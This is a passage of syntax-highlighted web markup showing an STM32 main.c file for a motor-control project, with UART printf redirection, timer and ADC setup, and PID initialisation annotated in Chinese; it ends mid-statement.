class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Includes ------------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;main.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;adc.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;tim.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;usart.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;gpio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private includes ----------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private typedef -----------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PTD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PTD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private define ------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PD */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private macro -------------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PM */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PM */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private variables ---------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PV */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PV */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private function prototypes -----------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN PFP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END PFP */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* Private user code ---------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// redirect `printf`\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用HAL库函数HAL_UART_Transmit将字符ch发送到UART4串口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 返回发送的字符,这通常不会有实际的影响,但是它需要返回发送的字符。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint16_t Get_adc(void)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// HAL_ADC_Start(\u0026amp;hadc1);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// HAL_ADC_PollForConversion(\u0026amp;hadc1, 2);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// if (HAL_IS_BIT_SET(HAL_ADC_GetState(\u0026amp;hadc1), HAL_ADC_STATE_REG_EOC))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return HAL_ADC_GetValue(\u0026amp;hadc1);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// else\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return Get_adc();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint16_t Get_adc_Average(uint8_t times)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// uint32_t sum = 0;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// for (uint8_t i = 0; i \u0026lt; times; i++)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// sum += Get_adc();\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// return sum / times;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// define pid struct\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// the buf for screen usart\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief The application entry point.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval int\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* MCU Configuration--------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Reset of all peripherals, Initializes the Flash interface and the Systick. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Configure the system clock */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Initialize all configured peripherals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_GPIO_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM3_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_ADC1_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM2_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_UART4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_USART1_UART_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里是一个坑, 详情请看下面的PWM部分的Read_Encoder()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把屏幕的UART的接受消息打开,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把PID结构体初始化,这里的P I D参数要看自己选择合适的值, 可以根据实际情况适当调节.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 调用PID初始化函数(这个代码我放在结尾吧, 作者是物院实验室某佬)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里最后两个参数是限定I项的, 具体左右可以看代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 